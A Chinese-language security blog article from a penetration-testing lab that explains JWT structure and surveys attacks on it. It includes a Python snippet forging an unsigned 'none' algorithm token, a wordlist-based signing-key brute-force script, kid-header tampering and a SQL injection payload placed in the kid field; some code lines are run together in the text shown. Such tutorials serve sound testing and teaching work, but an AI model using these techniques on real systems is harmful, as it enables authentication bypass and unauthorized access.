浅谈JWT渗透
2022-10-10 18:4:3 Author: 戟星安全实验室(查看原文) 阅读量:17 收藏

戟星安全实验室

    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3452字,10图,阅读约需9分钟。

前言

项目中遇到的jwt鉴权方式越来越多。对这方面的攻击方式也只是简单了解。

JWT介绍

Json Web Token简称JWT,是一种基于json格式传输信息的token鉴权方式。目前应用较为广泛,Web登录认证以及ctf中经常出现。

什么时候使用JWT

  • 授权

这是使用 JWT 最常见的场景。用户登录后,每个后续请求都将包含 JWT,从而允许用户访问该令牌允许的路由、服务和资源。单点登录是当今广泛使用 JWT 的一项功能,因为它的开销很小并且能够在不同的域中轻松使用。

  • 信息交换

JSON Web 令牌是在各方之间安全传输信息的好方法。因为可以对 JWT 进行签名(例如,使用公钥/私钥对),所以您可以确定发件人就是他们所说的那个人。此外,由于使用标头和有效负载计算签名,您还可以验证内容没有被篡改。

JWT数据结构

jwt(Json Web Token)有三部分组成,中间以 “.” 号分割

header.payload.signature

其中 Header、payload以明文经base64url的编码方式存储

base64urlencode(header).base64urlencode(payload).signatureeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiYWN0aW9uIjoidXBsb2FkIn0.EztdefyICBh3doSxswyozx7y4B1v5hW6s3OXDLfkYTY
  • Header

header通常由两部分组成:令牌的类型,即JWT,以及正在使用的签名算法,例如 HS256、RS256

例如:

{"alg":"HS256","typ":"JWT"}

这个json被以Base64Url编码的形式成为JWT的第一部分。

  • Payload

payload是令牌的第二部分,主要用来承载需要传递的数据,它的结构实际上是对jwt数据结构的一组声明,和附加数据的陈述。

声明分为三种类型:注册声明,公开声明,私人声明。

详见:https://jwt.io/introduction/

一个有效的pyalod

{ "sub": "1234567890", "name": "John Doe","admin": true}
  • Signature

要创建签名部分,必须获取编码的header,编码的payload,编码的密钥,header中指定的算法,并对其签名。

如果你想使用HS256算法,签名将通过以下方式创建:

HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

secret保存在后端,是用来解析确定验证key使用,通常理解为密钥。

JWT攻击思路

首先找到需要JWT鉴权后才能访问的页面,如个人资料,文件上传,修改密码等,将该请求包重放测试。

  • 空加密算法/禁用加密算法

条件:服务器端secret配置为none或者undefinde 利用node的jwt库已知缺陷:当jwt的secret为null或者undefined时,jwt会采用alg为none进行验证。

某些JWT的实现,一旦发现alg为none,将不再生成哈希签名。

在线生成工具会将alg为none视为恶意行为所以无法在线生成。

可以使用python的jwt库来实现

#! /bin/python3import jwta=jwt.encode({'user':'admin','action':'upload'},algorithm='none',key='')print(a)

输出结果

>> python3 jwt.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJ1cGxvYWQifQ.# 可以看到用none算法生成的JWT只有两部分,签名都没有生成。

jwt解密

  • 未授权访问

删除token后仍然可以访问相应的页面及功能。

  • 敏感信息泄漏

条件:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等

在线靶场:https://authlab.digi.ninja/Leaky_JWT

解密jwt看到password字段可能是md5 用cmd5解密得到 Password1

使用 joe/Password1 登录成功

  • 爆破签名

条件:签名用的密钥不复杂(弱密钥)。

相关工具 https://github.com/brendan-rius/c-jwt-cracker

爆破的速度比较慢 


参考大佬的爆破脚本

#! /bin/python3
from time import timeimport jwtimport termcolorimport argparse
#parser=argparse.ArgumentParser()parser.add_argument('-t','--target')parser.add_argument('-p','--path')args=parser.parse_args()
jwt_str=args.targetprint(jwt_str)
def boom_jwt(jwt_str): with open('/Users/apple/tools/fuzz/user.txt') as f: for line in f: key_ = line.strip() alg= ['HS256','RS256','PS256'] try: jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg) print('\r','Success Key -->',termcolor.colored(key_,'green'),'<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuerError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('\r','Success Key -->',termcolor.colored(key_,'green'),'<--') print(time()) break except jwt.exceptions.InvalidSignatureError: #若因密钥错误导致检验失败,则key_为无效密钥。 print('\r','' * 64,'\r\btry',key_,end='',flush=True) continue
else: print('\r',termcolor.colored('sorry! no key be found.','red'))
if __name__=='__main__': boom_jwt(jwt_str)

 参考yangyang大佬文章:https://www.freebuf.com/vuls/211842.html

  • 修改KID参数

条件:该参数可以由用户输入。

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥。

{"alg":"Hs256","typ":"jwt","kid":"/home"}
  • SQL注入

条件:kid从数据库中提取数据的时候,会造成sql注入。

通过构造SQL语句来获取数据或者是绕过signature的验证

{  "alg" : "HS256",  "typ" : "jwt",  "kid" : "key11111111' || UNION SELECT 'key';-- "      }
 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

戟星安全实验室

# 长按二维码 关注我们 #


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247501499&idx=1&sn=741027f7dd9fd96fa1ffa67d4e2a76d2&chksm=c27eccaaf50945bcb8aefcaa6db72919c12bdeb9d8b527b69554d9e9e4df02834bee82a80f63#rd
如有侵权请联系:admin#unsafe.sh